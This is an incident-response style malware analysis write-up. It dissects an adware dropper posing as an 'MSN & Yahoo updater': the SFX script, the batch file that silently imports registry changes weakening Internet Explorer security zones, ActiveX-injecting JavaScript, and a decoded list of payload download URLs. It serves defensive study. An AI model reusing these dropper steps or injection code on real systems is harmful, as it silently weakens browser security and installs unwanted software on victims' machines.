

Answers to MALWARE ANALYSIS - PART 3

Rudolph Pereira

Questions and Answers

By way of a summary, I'll list the questions, and their answers, in this first section. The next section will contain details of the analysis. To wit:

1. What is a .cmd extension? In which systems that this file extension would work?

On windows OSs, files with the "cmd" extension are generally scripts passed to the cmd.exe command interpreter for execution. They are very similar to the (older) ".bat" files, used since the days of DOS for scripting and interpreted by command.com, but the different extension indicates slightly updated syntax/capabilities associated with cmd.exe

2. Did you check the MD5 of the unzipped binary? Does it match?

The md5 checksum of the malware was checked and did match.

3. Is it packed? If yes, which packed was used?

Running "strings" on the binary produces a number of strings, including:

```
...
UPX0
UPX1
...
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:sch
emas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0
.0.0" processorArchitecture="X86" name="Roshal.WinRAR.WinRAR" type="win32" /> <d
escription>WinRAR archiver.</description> <dependency> <dependentAssembly> <asse
mbyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.
0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*"
/> </dependentAssembly> </dependency> </assembly>
...
```

indicating that it's packed with UPX and is a self-extracting RAR archive. This was confirmed by actually unpacking (using "unupx") and expanding (using "unrar") the file

4. What is this piece of malware claiming to be?

The malware claims to be an "MSN & Yahoo updater". This can be seen in the SFX script/comments, which are:

```
Title=Msn & Yahoo Updater
Text
{
Updater for Msn and Yahoo Home pages
}
```

5. Please describe the process which this malware will try to get installed on the system

As there does not appear to be any evidence of remote exploit (at least from the information given), it appears highly probable that the only way the binary would get

executed on a target system is via social engineering, that is, delivering the binary to the user (for example, via email) and enticing/persuading them to execute it. That the malware claims to update yahoo/msn, and it's similarity to many other email-delivered user-executed instances of malware supports this. Another (very similar) delivery vector might be hosting the binary on a website and sending a link to it in an email to the user.

*6. After some investigation on a machine that had this malware installed, was verified that the machine was trying to access something related to "*msn*" and "*yahoo*"... Does this malware have something to do with it? If so, with which purpose? :-)*

Although the malware claims to be an MSN and Yahoo updater, I saw no evidence that the initial malware/binary or anything it installed had anything to do with either MSN or yahoo (other than redirecting the browser to yahoo as a means of appearing legitimate in the second phase of the exploit). It is likely that if the machine had any such activity, it was generated by the legitimate user of the machine; that they were yahoo or msn users would support the theory that they ran the malware binary in the first place to update their system/settings.

7. In the same machine, was observed that some registry entries were messed up...Again, does this malware have something to do with it? If so, why?

As part of it's exploitation and takeover (owning) of the machine, the initial malware binary reconfigures Internet Explorer's security zones, via registry updates, to allow further malware to be installed without the user's knowledge. In turn, most malware that is installed updates and changes registry settings to achieve whatever goal their authors had. So one can definitely say that this malware is directly responsible for changed (messed up) registry entries.

8. Please, describe how this malware tries to install softwares (and which ones) in the machine...

A more complete description of the steps in this compromise are given in later sections, but the following is an overview of the steps taken by the malware once it is executed on the target system:

- SFX script auto-executes msnupdater.cmd upon execution/extraction of files from BoOtIoS2.exe-e50e87ad5d34cf8d16d01447821d629d
- msnupdater.cmd updates Internet Explorer security zone settings to allow further malware to be installed, then opens msnhomepage.html
- msnhomepage.html directs the browser to <http://www.razor-radio.us>
- <http://www.razor-radio.us> uses javascript in a hidden iframe to download and install "http://www.tbcode.com/ist/softwares/v4.0/0006_adult.cab", which contains a browser helper object (BHO) recognised by antivirus products as "Adware.Istbar"
- <http://www.razor-radio.us> also downloads "<http://cabs.media-motor.net/cabs/alien.cab>", which contains/installs another BHO that is a variant of "adware.medload"
- this BHO in turn downloads and installs a plethora of adware, including:
 - <http://bins2.media-motor.net/soft/imgthin.exe>
 - <http://bins2.media-motor.net/soft/876029.exe>
 - <http://bins.media-motor.net/soft/mrj.exe>
 - <http://bins.media-motor.net/soft/imggg.exe>

- <http://cdn.movies-etc.com/io/downloads/wsi23/optimize.exe>

some of which installs other bits of malware (all adware)

9. *If you could give only one advise to your users, based on what you observed on this malware, what would you say?*

As this malware apparently depends on a user to execute it to compromise/take over the system, the best advise to users would be to never (ever ever ever :) open, save or execute any software that they had received from an untrusted or unverified source, though in most cases it's probably better to err on the side of safety and say "never execute anything received as an attachment in email".

10. *Do you think that our affected user was lying to the IR Team?*

Given that the malware appears (admittedly superficially) to be a "yahoo and msn updater" and that analysis suggests that the user of the machine is the unwitting victim of this incident and does not appear to gain from it, it's probably reasonable to give them the benefit of the doubt and conclude that they weren't lying to the IR team.

11. *Finally(!), how would you classify this malware?*

I would classify this malware as a low-threat/nuisance malware more than anything else. The reasons for this classification are:

- analysis suggested that the only types of malware installed on the target machine in this incident was adware
- there appears to be no automated/remote exploit involved; user interaction/social engineering is required to initiate the compromise
- reasonably up to date virus scanners should be able to recognise all malware encountered; that is, there appear to be no "zero-day" exploits involved

Detailed Analysis

This section will present the details of analysis of the malware binary. Please note the following:

- no detailed binary analysis or reverse engineering was done; the majority of the analysis of binary malware was done with "strings"
- there's no guarantee that some malware that was installed during the compromise wasn't missed, but (hopefully!) it is unlikely anything significant was missed.
- conversely, aspects of the compromise that were uninteresting or not relevant from the pov of the analysis were also left out
- all analysis was done in the following environment: Windows XP SP1, completely unpatched, installed in a virtual machine running on a linux host OS. Almost all analysis (file, network capture) was done on the host linux OS
- the following (main) tools where used in the analysis:
 - tcpdump/ethereal was used to capture all traffic to/from the target (virtual) machine during various phases of the compromise
 - the linux/binutils "strings" and "objdump" were used to examine binaries for interesting strings or other characteristics
 - on the linux host OS, "unupx" was used to unpack UPX-packed binaries, "unzip"

was used to decompress ZIP archives, and “unrar” was used to decompress rar archives.

- various sysinternals tools (regmon, filemon) and the regshot tool (for registry change comparison) were run inside the virtual machine to capture relevant file/registry events during different stages of malware installation.
- given that the analysis was done over a more than a week, it is likely that some of the content on sites hosting malware was/has changed. Hence, the reader should be aware that redoing the analysis presented here (e.g. downloading binaries, configuration files, etc.) may produce slightly different results

On with the analysis, starting with the original malware binary supplied (BoOtloS2.exe-e50e87ad5d34cf8d16d01447821d629d):

- BoOtloS2.exe-e50e87ad5d34cf8d16d01447821d629d
 - a quick look at the `strings` output suggested it was a upx-packed self-extracting (SFX) rar archive; after unpacking with “unupx”, “unrar” was used to extract the files from the archive, which were:

```
msnupdater.cmd
yahoohomepage.html
2377.reg
5577.reg
msnhomepage.html
```

- “unrar” also displayed the sfx script, which is executed upon self-extraction, the contents of which are:

```
Path=.\%systemroot%\
SavePath
Setup=msnupdater.cmd
Silent=1
Overwrite=1
Title=Msn & Yahoo Updater
Text
{
Updater for Msn and Yahoo Home pages
}
License=Home Page Setup Updater
{
Msn and Yahoo Page updater
}
```

- **the Setup=msnupdater.cmd directive above runs msnupdater.cmd upon execution/extraction. The contents of that file are:**

```
@echo off
```

```

echo Updating Windows Shell Files
REGEDIT.EXE /S 2377.reg
REGEDIT.EXE /S 5577.reg
echo Updating Windows Shell Files.....
msnhomepage.html
echo Updating Windows Shell Files.....
yahoohomepage.html
echo Updating Windows Shell Files.....
echo Updating Windows Shell Files.....
echo Updating Windows Shell Files is now Complete.
exit

```

that is, interspersed with some “helpful” status messages, two runs of “regedit.exe”, the windows registry update tool, occur , followed by the opening of two html pages using whatever application is associated with the HTML file type (typically Internet Explorer). Each of these files will be examined in turn below:

- 2377.reg
 - is a “Windows Registry Editor Version 5.00” data file; this indicates it will be accepted/interpreted by the “regedit.exe” command
 - the registry updates themselves serve to reconfigure IE's security zones. This allows malware to be run in later stages of this exploit without being blocked or prompting the user. <http://support.microsoft.com/default.aspx?scid=182569> has more details, but in summary the settings:
 - allow download and initialisation/scripting of all (unsafe, unsigned, etc.) ActiveX controls
 - allow active scripting
 - allow access of data and frames across different domains
 - configure IE to not prompt for client certificate selection when no certificates or only one certificate exists

These settings are applied to one or more security zones. In particular, the “internet zone” is now reconfigured to allow all kinds of goodies to be used/installed without the user knowing.
- 5577.reg
 - this is another windows registry data file, which updates registry settings to run "C:\UNMT.EXE" when windows starts. Interestingly, this file (UNMT.EXE) was never created/found in my analysis
- msnhomepage.html

- this is a html file, opened by windows with it's associated application (typically Internet Explorer)
 - the contents of the file cause two things to happen:
 - <http://static.windupdates.com/prompts/a372a171/a770ab73.js> is downloaded and interpreted as javascript; this URL actually results in an http redirect (302) to <http://www.blazefind.com/404.html>. 404.html looks like it just brings up a bunch of links. There's no auto executing code/javascript/etc. which means it's unlikely to contain malware
 - a meta-refresh to <http://www.razor-radio.us>. This causes the browser to fetch and display <http://www.razor-radio.us>, which is where the real fun starts:
 - <http://www.razor-radio.us/index.html> has 3 frames:
 - <razor2006/top.html>
 - downloads and executes some javascript via `<script language='JavaScript' type='text/JavaScript' src='http://tbcode.com/ist/scripts/prompt.php?retry=2&loadfirst=0&delayload=10&account_id=158634&recurrence=always&adid=a1128233772&event_type=onload&signature=adult'>`. `prompt.php` does the following:
 - uses a hidden iframe to download/instantiate `"http://www.tbcode.com/ist/software/v4.0/0006_adult.cab"`¹
 - `0006_adult.cab` (md5: `d325cec98e85161369da27bfe5f66e0b`) contains `ISTactivex.dll`, which is identified as "Adware.Istbar"² by SAV³, and appears to be a "browser helper object" (BHO) that in turn downloads `cache.yesweb.com/ist/software/v4.0/istdownload.exe`
 - `istdownload.exe` (md5: `ebe1c2d2f626d9386a45a6976b543174`)
 - "strings" suggests it is a UPX-packed exe; it was unpacked before further analysis was done
 - another examination of "strings" output had one particular string standing out from the common noise:


```
...
IsRunningInsideVirtualMachine
...
```
- which indicated that some virtual machine detection⁴ was occurring
 Unfortunately, I didn't have time to analyse this bit of malware on a "real" machine, so no further meaningful analysis was done on this binary

1 More information about activex/component installation, i.e. how .cabs are installed by IE, can be found at <http://msdn.microsoft.com/workshop/components/activex/packaging.asp>

2 see <http://securityresponse.symantec.com/avcenter/venc/data/adware.istbar.html> for more information

3 Symantec Anti virus v10 with virus definitions as of end of october 2005

4 A quick Google for this string returned

http://www.codegurus.be/codegurus/Programming/virtualpc&vmware_en.htm, but given that malware such as agobot variants also do VM detection it is possible that the code/function has been copied from elsewhere

- (prompt.php) does a (javascript) window.open on "http://www.tbcode.com/ist/scripts/log_downloads.php?account_id=158634&auto_close=1&software_id=0006&type=normal", which just returns window.close(), and hence is likely just an installation (infection) logger script
- razor2006/main.html:
 - loads some javascript via <script language="javascript" type="text/javascript" src="http://exchange.bravenet.com/exit.php?id=2712209684">
 - exit.php?id=2712209684 does the following:
 - loads javascript from http://exchange.bravenet.com/exit2.php?id=2712209684&refurl=http://www.razor-radio.us/razor2006/main.html, which opens a window with url = 'http://exchange.bravenet.com/traffic.php?id=2712209684&refurl=http://www.razor-radio.us/razor2006/main.html'
 - traffic.php creates a frameset with two frames that load:
 - http://exchange.bravenet.com/tracker.php?id=2712209684&ad_id=9922&ref=0&pt=2&salesad=yes&partner=&site=&message=RGVmLVNob3ctU2FsZXM=&refurl=http://www.razor-radio.us/razor2006/main.html, which has javascript that sets location.href='http://exchange.bravenet.com/trackerdone.php?id=2712209684&ad_id=9922&ref=0&pt=2&salesad=yes&partner=&site=&message=RGVmLVNob3ctU2FsZXM=&refurl=http://www.razor-radio.us/razor2006/main.html', which in turn doesn't too much other than display http://exchange.bravenet.com/index.php, though it is likely an "installation successful" logger as it also has, in a comment, the ip address of the infected machine and a few other items of information (perhaps leftover debugging?)
 - http://www.leatherspinsters.com/catalog.html?te=1, which then loads some javascript from "http://www.statcounter.com/counter/counter.js" as part of the StatCounter "Free Web Tracker and Counter" service, perhaps as yet another infection logger.
 - (razor2006/main.html – continued) then loads javascript from "http://mmm.media-motor.net/install.php?allowpop=no&popupmincook=0&allowsp2=1&retry=1&aff=sas1a&mincook=0&lfir=1". install.php does the following:
 - a document.write of some interesting strings:


```
roingdownload.document.write ('<OBJECT ID="DemoCtl"
WIDTH=1 HEIGHT=1 CLASSID="CLSID:7149E79C-DC19-4C5E-A53C-
A54DDF75EEE9" ');
roingdownload.document.write ('CODEBASE="http://cabs.media-
motor.net/cabs/alien.cab#version=6,3,0,0"
onerror="parent.retryit ();">');
...
roingdownload.document.write ('<PARAM NAME="ip" VALUE=<ip
```

```
address>>');
```

...

```
roingdownload.document.write('<PARAM NAME="outers"
VALUE="xxxxxmicslgg999lppt>+fmjw6*ia`me) ikpkv*jap+wkbp+s
lGG) CMEJP*a|a999slGG) CMEJP*a|a999slGG) CMEJP*a|
a999xQWx999xxxxmicplmj999lppt>+fmjw6*ia`me) ikpkv*jap+wk
bp+micplmj*a|a999micplmj*a|a999micplmj*a|
a999xQWxGExAFx999xxxximvev999lppt>+fmjw6*ia`me) ikpkv*ja
p+wkbp+<3246=*a|a999<3246=*a|a999<3246=*a|
a999xQWxGExAFx999xxxxa|
a<7e999lppt>+fmjw*ia`me) ikpkv*jap+wkbp+ivn*a|a999ivn*a|
a999ivn*a|
a999xQWxGExAFxEHx999xxxxsmlajq999lppt>+fmjw*ia`me) ikp
kv*jap+wkbp+miccc*a|a999miccc*a|a999miccc*a|
a999xQWxAFxCFxWGxMAxGEx999xxxxswm61999lppt>+g`j*ikrmaw)
apg*gki+mk+`ksjhke`w+swm67+ktpmim~a*a|a999ktpmim~a*a|
a999ktpmim~a*a|a$+jkpeg999xQWxGExAFxEHx999">');
```

(excuse the wrapping, etc.).

What this does is downloads and installs, with the given parameters, "http://cabs.media-motor.net/cabs/alien.cab"

- alien.cab (md5: 441e13ae3b6778e77d7d7c36edcee0b7) has 3 files:

```
c74acebae0ae2e5c35428400475adc29  ObjSafe.tlb
e69442b0b1ee87db997c80154db860f6  m67m.inf
3b0570931fef033074f22c12086d7345  mm83.ocx
```

- mm83.ocx appears to be a BHO which SAV detects as "adware.medload"⁵. A quick look through that file leads to the following interesting strings, among others:

```
wrds
browserlang
doms
doingmyregers
phases
sewers
outers
doingmyouters
```

which suggests the "outers" parameter set in install.php above warrants a closer look.

My first theory about the string was that it was encoded configuration or execution text that directed the actions of the BHO. This hypothesis was strengthened by looking through the packet capture of traffic to/from the infected machine after the BHO was activated, which showed (among others) the following files being downloaded: "http://bins2.media-motor.net/soft/imgthin.exe" and "http://bins.media-motor.net/soft/mrj.exe".

⁵ mcafee has a somewhat better description at http://vil.nai.com/vil/content/v_130992.htm

Having now obtained some plaintext and ciphertext that (I thought) could be used to work out the encoding, I decided to try on my cryptanalyst hat to see if I could decode the entire string. After spending far too little time trying to decode it (though, to be fair, I did try some frequency analysis in case it was a simple shifting cipher) I decided that that hat didn't fit, and after a quick Google search found that Tom Liston's "Follow the bouncing malware – part 2" had stepped through the analysis of what must have been similar malware that also used an "outers" parameter. In that case – unsurprisingly – Tom Liston had cracked it, and had even provided the C code to decode it! Giving that code a try proved much more successful, with the encoded string decoding as :

```
imgwhcc===http://bins2.media-motor.net/soft/whCC-GIANT.exe===whCC-GIANT.exe===whCC-GIANT.exe===|US|===
```

```
imgthin===http://bins2.media-motor.net/soft/imgthin.exe===imgthin.exe===imgthin.exe===|US|CA|EB|===
```

```
mirar===http://bins2.media-motor.net/soft/876029.exe===876029.exe===876029.exe===|US|CA|EB|===
```

```
exe83a===http://bins.media-motor.net/soft/mrj.exe===mrj.exe===mrj.exe===|US|CA|EB|ALL|===
```

```
wiwhenu===http://bins.media-motor.net/soft/imggg.exe===imggg.exe===imggg.exe===|US|EB|GB|SC|IE|CA|===
```

```
wsi25===http://cdn.movies-etc.com/io/downloads/wsi23/optimize.exe===optimize.exe===optimize.exe
```

```
/notac===|US|CA|EB|ALL|===
```

- next, mm83.ocx does a GET of 'www.maxmind.com:8010/a?l=PeAyF1sgrZYw&i=<ipaddress>', which returns the country code for my IP address. This is then converted (means unknown) to the code "EB"⁶, and the files tagged with that code in the "outers" parameter, namely:

```
http://bins2.media-motor.net/soft/imgthin.exe
```

```
http://bins2.media-motor.net/soft/876029.exe
```

```
http://bins.media-motor.net/soft/mrj.exe
```

```
http://bins.media-motor.net/soft/imggg.exe
```

```
http://cdn.movies-etc.com/io/downloads/wsi23/optimize.exe
```

are then downloaded and installed. We'll take a quick look at each of these bits of malware in turn in the following sections:

- imgthin.exe (md5: 7f074433efd534aff2fe8f94f77eba85): recognised by SAV as "download.adware"⁷. Once installed, it downloads

⁶ this was pieced together by analysing packet captures

⁷ a generic description can be found at

<http://securityresponse.symantec.com/avcenter/venc/data/download.adware.html>

<http://bins.imgiant.net/soft/thin-149-1-x-x.exe>

- thin-149-1-x-x.exe (md5: f7c06c0d64b45c3d99822d32eba198e7) : recognised by SAV as "adware.betterinternet". Taking a look at the file properties gives: "www.abetterinternet.com - Utility for downloading files and upgrading software." (how nice of them). Unfortunately their intentions might not be completely honourable, as soon after it's installed, it does an HTTP POST to thinstall.abetterinternet.com/bi/servlet/ThinstallPre, sending a bunch of "status" information in XML including OS and process details:

```
<PreCheckin>
  <systemInformation><common><os majorVersion="5"
minorVersion="1"
  buildNumber="2600" osPlatform="Win32 on Windows NT"
csdVersion="Service Pack
  1"/><ie version="6.0.2800.1106" product="Internet Explorer
6 Service Pack 1
  (Windows XP SP1)"/><aol version="Unknown"/><defaultBrowser
name="iexplore.exe"/><user adminRights="yes"/>
  ...
```

and getting back what appears to be installation instructions:

```
...
<install><action type="InstallCAB">
  <cab
url="http://st.bestoffersnetworks.com/download/cabs/IMGDLL/imGiant
.cab"/>
  </action>
  <action type="CreateRegKey">
  <regkey key="HKEY_CURRENT_USER" path="Software\imGiant"
name="IMI5d30fSDist"
  value="149|1|0|0|THIN.EXE" />
  </action>
  ...
```

- as expected, we now see our helpful "betterinternet" software download and install ["http://st.bestoffersnetworks.com/download/cabs/IMGDLL/imGiant.cab"](http://st.bestoffersnetworks.com/download/cabs/IMGDLL/imGiant.cab) (md5: fc77918024e90e16882aa68a2de89541), which looks like another adware BHO that is part of www.abetterinternet.com's set of "gifts"

- finally, thin-149-1-x-x.exe does an HTTP POST to thinstall.abetterinternet.com/bi/servlet/ThinstallPost to log successful installation and details:

...

```
<PostCheckin><install><partnerID value="149"/><bundleID
value="1"/><exeName
value="thin.exe"/><serialID value="E49D0F60"/>
```

...

- next in our list of goodies, 876029.exe (md5: 43e72a80a5588a43c28a923c6d4f23b7) is downloaded and installed
 - it's recognised as "adware.mirar"⁸ by SAV; file description has "mirar downloader setup"
 - it contacts "awbeta.net-nucleus.com/download.cgi?BUILDNAME=876029&ID=&ERROR=0", which responds with a set of what appears to be installation instructions:

```
0281873596752|148691|http://download.getmirar.com/f3/EXE-876029-SB.cab
```

which our malware dutifully installs. EXE-876029-SB.cab (md5: 5203b2bbaf14c66135754ec92142b9b4) contains an installer for yet another BHO that installs an extra toolbar into IE that brings up "relevant" advertisements when browsing

- next, our malware all-in-one installer grabs and installs mrj.exe (md5: e0a25c521eef0ae09e4a76d63815349f)
 - this one is detected as "QLowZones-12" (by a couple of scanners on virustotal.com). McAfee has a generic description at http://vil.nai.com/vil/content/v_127723.htm suggesting this class of malware changes security settings for IE zones
 - a quick look at the strings in the binary suggested it was a UPX-packed self-extracting RAR archive, containing:

```
c5e4dc181f907bffffd552e002efa47f5 IEMonitor.ocx
07a2c5f50842e83d1ff20fc8707acef7 mrjj.exe
```

with mrjj.exe being auto-executed on execution/extraction.

- mrjj.exe appears to be (yet another) BHO that hooks into IE's autosearch, passing the invalid URL and a bunch of other parameters to "ran.popuppers.com/send404.php". This allows the adware/site to return ads or other content before the browser is directed to the default MSN search pages.
- the penultimate bit of malware installed on this journey is imggg.exe (md5: 817e89b304da79c42c41fc9b9e2562d5), which is recognised as "Adware.Savenow" by SAV:

⁸ details at <http://securityresponse.symantec.com/avcenter/venc/data/adware.mirar.html>

- this was a bit of a strange one: it looks like a UPX-packed SFX zip archive, and can be unpacked with unupx. But, while the packed exe can be opened by various ZIP tools successfully, the unpacked exe cannot be opened by winzip at all, and the "unzip" command-line tool displays warnings while reading from it (but completes successfully). In any case, the archive contains the following files:

```
xeonconfig.ini
DNS.htm
about.html
imgiantsearch.html
imgiantsearchnew.html
license.txt
segroups.xml
TV.htm
imgsidebar.xml
outlookpanels.dsplugin
idletrack.dll
popular.xml
plds4.dll
plc4.dll
libgtkspell.dll
sound.wav
sbwac.wac
DNS.jpg
imGiant.exe
basicpanels.dsplugin
VVSNIInst.exe
dashboard.ini
webURL.ini
bannerURL.ini
```

which, at first sight, looks almost like a legitimate application. And indeed, some of the binaries do appear to be innocuous, but looking at the SFX script, which is:

```
...
Path=C:\Program Files\imGiant23\Additional
...
Setup=VVSNIInst.exe /cfg:IMGT070501 /d"Imgiant" /f"C:\Program
Files\imGiant23\Additional\imGiant.exe"
...
```

hints that something nefarious might be going on. Taking a look at "VVSNIst.exe" we see:

- it's a self-extracting cabinet file, which contains a single file, "VVSNIst.exe". The file properties for that exe indicate it's an "UInstall Application" from "WhenU.com, Inc". Google suggests this is a well-known adware application, but we'll have a superficial look at what it does anyway:
 - a quick look through the "strings" in this exe brings up a bunch of interesting ones, including:

```
?app=VVSNIst
http://app.whenu.com/AppInstall
...
http://spweb.whenu.com/vvsni/
/vsni.cfg
```

so we now have an idea of what might be downloaded. Sure enough, once it's running, the malware:

- grabs <http://app.whenu.com/AppInstall>, apparently to register installation, as the server simply returns "+OK"
- next, it fetches what appears to be a configuration file "spweb.whenu.com/vvsni/IMGT070501/vsni.cfg", which has some interesting text, including:

```
...
[SAVE]
Mandatory=Y
URL=http://spweb.whenu.com/vvsni/prod/SAVEIst.exe
...
```

as one can guess, very soon after this configuration is pulled down, <http://spweb.whenu.com/vvsni/prod/SAVEIst.exe> (md5: e9bc4f03b8058eefdb8896f42e064fb2) is indeed downloaded and installed. This in turn installs more adware components that are part of whenu's bag of gifts – but we won't go any deeper down this particular rabbit hole right now

- `optimize.exe` (md5: 13af03dc420512e2c18a3dbb465d6c4f) is the final bit installed in this particular branch of the malware tree, and it's identified as "Adware.NetOptimizer" by SAV. This particular bit of adware appears to be (from strings in the binary) packed with the "petite" packer, which doesn't appear to have a readily available decompressor, unfortunately. Once installed, it:
 - sends a POST to www.internet-optimizer.com/conf/xml/ with a bunch of system information, to which the server responds with xml "download instructions" directing the malware to get <http://cdn2.movies-etc.com/io/downloads/3/nem220.dll>.

- nem220.dll (md5: edc3bc97aa6ae2e2f0427cf269b4d757) appears to be a upx-packed BHO which hooks into IE auto searching to direct the browser to <http://help.internet-optimizer.com/> (rather than the default MSN search). Unsurprisingly, such "searches" bring down a barrage of advertising, popups, etc.
 - finally, optimize.exe does another POST to www.internet-optimizer.com/conf/xml indicating successful installation
- going back to install.php (phew!), we also see some slightly obfuscated javascript that checks if it's running on winxp sp2 and if so opens an iframe with a nice little flash animation showing the user how to disable security features in IE (particularly the "information bar" active content warnings) so that the malware/adware above can be installed (!)
- similarly to msnhomepage.html in the first part of this exploit, yahoohomepage.html is an html file, opened by windows with it's associated application (typically Internet Explorer). Upon being loaded/displayed, it:
 - does a meta-refresh to <http://www.yahoo.com> (which may fool the user into thinking that the update that this malware claims to be has worked)
 - attempts to load javascript from <http://static.windupdates.com/prompts/a376ab73/a776a174.js>. This actually returns an http 302 (redirect), redirecting the browser to <http://www.blazefind.com/404.html>, which has been analysed previously, and does not contain any malicious code
 - it also loads javascript from http://install.xxxtoolbar.com/ist/scripts/prompt.php?retry=2&loadfirst=0&delayload=10&account_id=159080&recurrence=always&adid=a1111819823&event_type=onload&signature=adult. This returns javascript code which is almost exactly the same as http://tbcode.com/ist/scripts/prompt.php?retry=2&loadfirst=0&delayload=10&account_id=158634&recurrence=always&adid=a1128233772&event_type=onload&signature=adult which was analysed above. As this is essentially an attempt to install malware that is already installed, the above javascript effectively does nothing.